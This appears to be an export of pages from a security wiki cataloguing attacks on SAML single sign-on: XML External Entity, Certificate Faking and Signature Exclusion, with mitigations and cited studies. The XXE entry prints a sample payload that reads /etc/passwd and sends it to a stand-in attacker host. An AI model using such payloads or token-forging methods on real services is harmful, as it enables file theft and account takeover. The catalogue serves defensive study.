Here is an example of the AuthnRequst message sent to the IdP:<br />
<source lang=xml><br />
<samlp:AuthnRequest<br />
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"<br />
ID="jja.."<br />
Version="2.0"<br />
IssueInstant="2010-12-07T23:15:51Z"<br />
ProtocolBinding="urn:oasis:names.tc:SAML:2.0:bindings:HTTP-Redirect"<br />
ProviderName="google.com"<br />
AssertionConsumerServiceURL="https://www.google.com/a/psosamldemo.net/acs"<br />
/><br />
</source><br />
<br />
Here is an example of the Response message sent to the SP:<br />
<source lang=xml><br />
<samlp:Response ID="pam..." IssueInstant="2010-12-07T23:22:00Z"><br />
<Signature><br />
<SignedInfo><br />
<Reference URI="">...</Reference><br />
</SignedInfo><br />
<SignatureValue>Em9VX...</SignatureValue><br />
<Signature><br />
<samlp:Status><br />
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" /><br />
</samlp:Status><br />
<Assertion ID="kob..." IssueInstant="2003-04-17T00:46:02Z" Version="2.0"><br />
<Issuer>https://www.opensaml.org/IDP </Issuer><br />
<Subject><br />
<NameID> demouser </NameID><br />
<SubjectConfirmation> ... </SubjectConfirmation><br />
</Subject><br />
<Conditions NotBefore="2010-12-07T23:17:00Z" NotOnOrAfter="2010-12-07T23:32:00Z"> ... <br />
</Conditions><br />
<AuthnStatement> … urn:oasis:names:tc:SAML:2.0:ac:classes:Password … <br />
</AuthnStatement><br />
</Assertion><br />
</samlp:Response><br />
</source><br />
<br />
The schematic representation of Response message:<br />
<br><br />
[[File:Response_Schema.jpg|centre]]<br />
*Identity Provider (IdP)-initiated SSO<br />
[[File:IdP_initiated_SSO.jpg|centre]]<br />
#The Client asks for authentification from the IdP.<br />
#The Client authenticates to the IdP.<br />
#The IdP sends Response containing the SAML Assertion, which proves that the user has been authenticated.<br />
#The Client submits the Response to the SP.<br />
#The SP checks the validity of the SAML Response and allows the user access the resources.</div>Annahttp://www.ws-attacker.de/XML_External_Entity_AttackXML External Entity Attack2015-11-28T18:26:19Z<p>Anna: /* Practical Examples */</p>
<hr />
<div>=Introduction=<br />
XML offers the possibility to describe the document’s structure by using a [https://en.wikipedia.org/wiki/Document_type_definition ''Document Type Definition (DTD)'']. Unfortunately, the usage of these features can lead to security vulnerabilities enabling very efficient [https://en.wikipedia.org/wiki/Denial-of-service_attack ''Denial-of-Service attacks (DoS)''] or allowing unauthorized access to files stored on the target ''Software-as-a-Service Cloud Provider (SaaS-CP)'', for example, ''/etc/passwd'' or key files.<br />
The attacker sends an XML document containing an Entity, which points to a file stored on the local filesystem. The vulnerable application parses<br />
the XML document and processes the defined DTD. The DTD contains an External Entity reading a resource from the filesystem, in this case the ''/etc/passwd'' file, and sends the content to the attacker.<br />
As a result the attacker breaks out of the usual processing schema and bypasses the security verification provided by the SSO-Verificator plus ''Authorization & Access Managment (AAM)'' and reads locally stored files.<br />
<br />
=Attack subtypes=<br />
There are no attack subtypes for this attack.<br />
<br />
=Prerequisites=<br />
In order to start ''XML External Entity attack (XXEA)'', the attacker only has to create a valid XML message containing a DTD. Note that the message does not have to be a [http://www.sso-attacks.org/SAML SAML] token.<br />
<br />
=Target=<br />
[[File:Target_Parser.jpg|centre|600px]]<br />
<br> The attacked Single Sign-On component is marked in red colour.<br />
<br />
=Description=<br />
[[File:XEEA.jpg|centre|600px]]<br />
<br />
An example exploit is shown in Listing 1. The XML message contains two External Entities. The first Entity ('''file''') will read the content of the protected resource. The second Entity ('''send''') is used to send this content to a web server controlled by the attacker via a ''GET'' parameter. If the ''SaaS-CP'' reflects the content of the file Entity in the HTML response, which will be automatically displayed in the attacker’s browser, the send Entity is unnecessary. However, this is rarely the case for ''SAML'' token verification.<br />
<br />
''XXEA'' allows an attacker to read arbitrary files within the context of the used web server. Particularly, it is possible to read configuration and SSL keystore files.<br />
<br />
<source lang=xml><br />
<br />
<?xml version="1.0" encoding="utf-8"?><br />
<!DOCTYPE Response [<br />
<!ENTITY file SYSTEM "/etc/passwd"><br />
<!ENTITY send SYSTEM "http://attacker.com/?read=&file;"><br />
]><br />
<samlp:Response><br />
<attack>&send;</attack><br />
</samlp:Response><br />
<br />
</source><br />
Listing 1: XML message containing the XXE attack vector.<br />
<br />
The listing only sketches the concept of the attack. The code as shown will not work on most XML parsers, because the usage of the External Entity file within the External Entity send is not allowed.<br />
<br />
=Mitigation / Countermeasures=<br />
To prohibit ''XXEA'', the processing of ''DTD''s should be disabled. XML Schema can be used to verify the structure of XML messages.<br />
<br />
=Practical Examples=<br />
In 2014, Mainka et al. analyzed 22 Software as a Service cloud providers and found out that several frameworks were vulnerable to this attack, as shown in the picture bellow. <br />
[[File:Study table.png|centre|200px]]<br />
<br />
<br />
[[Category:Attack_Categorisation_By_Attacker_Model:_Message_generation_attacks]]<br />
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Confidentiality]]<br />
[[Category:Attack_Categorisation_By_Attack_on_IdP/_SP:_Attack_on_SP_and_IdP]]<br />
[[Category:Attack_Categorisation_By_Attack_Spreading:Application_Specific_Flaws]]<br />
[[Category:Attack_Categorisation_By_Attacked_Web_Service_Component:_XML_Parser]]<br />
[[Category:Attack_Categorisation_By_Attacked_Single_Sign-On_Component:_Parser]]<br />
<br />
=References=<br />
C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk (2014): Your Software at my Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security Workshop (CCSW).<br><br />
Andreas Falkenberg, Christian Mainka, Juraj Somorovsky, and Jorg Schwenk. A New Approach towards DoS Penetration Testing on Web Services. 2013 IEEE 20th International Conference on Web Services, 0:491–498, 2013.<br />
<br> [http://web-in-security.blogspot.de/2014/11/detecting-and-exploiting-xxe-in-saml.html Christian Mainka. Detecting and exploiting XXE in SAML Interfaces, 2014.]<br />
<br><br />
[http://ws-attacks.org/index.php/XML_External_Entity_DOS XML External Entity DOS]<br />
<br><br />
[http://http://ws-attacks.org/index.php/XML_Entity_Expansion XML Entity Expansion]<br />
<br><br />
[http://web-in-security.blogspot.de/2014/11/detecting-and-exploiting-xxe-in-saml.html Detecting and exploting XXE in Saml]</div>Annahttp://www.ws-attacker.de/Certificate_FakingCertificate Faking2015-11-22T15:45:16Z<p>Anna: </p>
<hr />
<div>=Introduction=<br />
The cryptographic verification of the digital signature guarantees the integrity of the token. Additionally, it is essential to verify the token’s authenticity, too. In other words, the ''Software-as-a-Service Cloud Provider (SaaS-CP)'' should check whether the token was signed by a trusted ''Identity Provider (IdP)''. The ''Certificate Faking (CF)'' attack utilizes possible flaws in the selection logic of the key used for the verification of tokens, by providing an attacker generated token signed by an attacker generated key.<br />
<br />
=Attack subtypes=<br />
There are no attack subtypes for this attack.<br />
<br />
=Prerequisites=<br />
In order to run the attack, the attacker must be able to create [http://www.sso-attacks.org/SAML SAML] tokens and sign them with his own self-created key.<br />
<br />
=Target=<br />
[[File:Target_Verificator.jpg|centre|600px]]<br />
<br> The attacked Single Sign-On component is marked in red colour.<br />
<br />
The attack targets the [https://en.wikipedia.org/wiki/Single_sign-on SSO] Verificator, which should verify that the authentication token is signed by a trusted third party instead of accepting any key provided with the token (although the XML Signature standard allows to include certificates, it is essential to verify whether it is a trusted certificate).<br />
<br />
=Description=<br />
The [http://www.sso-attacks.org/SAML SAML] token is signed with an untrusted key. If the key stored in the token is used for the verification without validating the trust relationship to it, ''CF'' is applicable.<br />
<br />
[[File:Certificate_Faking.jpg|center]]<br />
The attacker creates a token ''t = (I, N, D)'', where ''I - Identity, N - Freshness and D - Destination''. Then, he creates a secret key ''evilKey'' and a corresponding public key. The secret key is used to compute the digital signature ''s = SIG_evilKey(t)''. The attacker then uses his key pair to create a certificate ''evilCert'' containing the corresponding public key to verify ''s''. SAML uses the XML Signature standard that allows to store ''evilCert'' directly within the XML Signature. If the target ''SaaS-CP'' uses ''evilCert'' to verify the signature ''s'' (without prior check of the trust relationship for the corresponding key), the token will be accepted as valid.<br />
<br />
=Mitigation / Countermeasures=<br />
This attack can be mitigated by manually deploying the trusted certificates to the corresponding ''SaaS-CP'' and not using any certificates provided with the token.<br />
<br />
=Practical Examples=<br />
This attack can be realized using SAMLRaider:<br />
[http://blog.csnc.ch/2015/09/saml-sp-authentication-bypass-vulnerability-in-nevisauth/]<br />
[http://www.csnc.ch/misc/files/advisories/CVE-2015-5372_AdNovum_nevisAuth_Authentication_Bypass.txt]<br />
<br />
[[Category:Attack_Categorisation_By_Attacker_Model:_Message_generation_attacks]]<br />
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Access_Control]]<br />
[[Category:Attack_Categorisation_By_Attack_on_IdP/_SP:_Attack_on_SP]]<br />
[[Category:Attack_Categorisation_By_Attacked_Single_Sign-On_Component:_Verificator]]<br />
[[Category:Attack_Categorisation_By_Attack_Spreading:Conceptual_Flaws]]<br />
[[Category:Attack_Categorisation_By_Attack_on_SAML]]<br />
<br />
=References=<br />
C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk<br />
(2014): Your Software at my Service: Security Analysis of SaaS Single<br />
Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security<br />
Workshop (CCSW).</div>Annahttp://www.ws-attacker.de/Signature_Exclusion_AttackSignature Exclusion Attack2015-11-19T19:06:12Z<p>Anna: /* Practical Examples */</p>
<hr />
<div>=Introduction=<br />
The integrity of all authentication tokens should be protected. In case of [http://www.sso-attacks.org/SAML ''SAML''], this is realized by a digital signature ''s = SIG_IdP(t)''. ''Signature Exclusion'' (0Sig) exploits a vulnerability in the verification logic allowing the usage of unsigned tokens. If SAML token does not contain any signature, no protection of integrity or authenticity is provided. Since no digital signature for the token is required, an attacker can generate tokens containing arbitrary identities ''(I)'' of other users.<br />
<br />
=Attack subtypes=<br />
There are no attack subtypes for this attack.<br />
<br />
=Prerequisites=<br />
In order for this attack to work the attacker has to have knowledge about the following things:<br />
#'''Attacker knows endpoint of the web service.''' otherwise, he is not able to reach the web service. <br />
#'''Attacker knows that the web service processes the security header and the ''"signature"'' element.''' If the web service does not '''"expect"''' an signed part, it just discards the signature and the attack does not work.<br />
<br />
=Target=<br />
[[File:Target_Verificator.jpg|centre|600px]]<br />
<br> The attacked Single Sign-On component is marked in red colour.<br />
<br />
The attack is targeted at the ''Single Sign-On (SSO)'' Verificator, which should require that the authentication token is signed and verify the applied signature. By this means, the integrity of the authentication token is guaranteed.<br />
<br />
=Description=<br />
<br />
[[File:Signature_Exclusion_Attack.jpg|center]]<br />
The attacker creates authentication tokens containing statements about other users ''t = (..., I_Alice/I_Bob/I_Admin,...)''. He then sends the token to an ''Software-as-a-Service Cloud Provider (SaaS-CP)'' (Starget) and is logged in with the corresponding identity. Finally, the attacker gains access to arbitrary accounts and their resources.<br />
<br />
=Mitigation / Countermeasures=<br />
SAML messages without signature must not be accepted.<br />
<br />
=Practical Examples=<br />
In 2012, Somorovsky et al. applied the Signature Exclusion attack on three SAML frameworks: Apache Axis2, JOSSO and OpenAthens. <br />
<br />
In 2014, Mainka et al. analyzed 22 Software as a Service cloud providers and found out that one framework was vulnerable to this attack: Clarizen.<br />
<br />
<br />
[[Category:Attack_Categorisation_By_Attacker_Model:_Message_generation_attacks]]<br />
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Access_Control]]<br />
[[Category:Attack_Categorisation_By_Attack_on_IdP/_SP:_Attack_on_SP]]<br />
[[Category:Attack_Categorisation_By_Attacked_Single_Sign-On_Component:_Verificator]]<br />
[[Category:Attack_Categorisation_By_Attack_Spreading:Conceptual_Flaws]]<br />
[[Category:Attack_Categorisation_By_Attack_on_SAML]]<br />
<br />
=References=<br />
C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk (2014): Your Software at my Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security Workshop (CCSW).<br />
<br />
[https://www.nds.rub.de/research/publications/BreakingSAML/ J. Somorovsky, A. Mayer, J. Schwenk, M. Kampmann, M. Jensen: On Breaking SAML: Be Whoever You Want to Be. In Proceedings of the 21st USENIX Security Symposium, 2012.]</div>Anna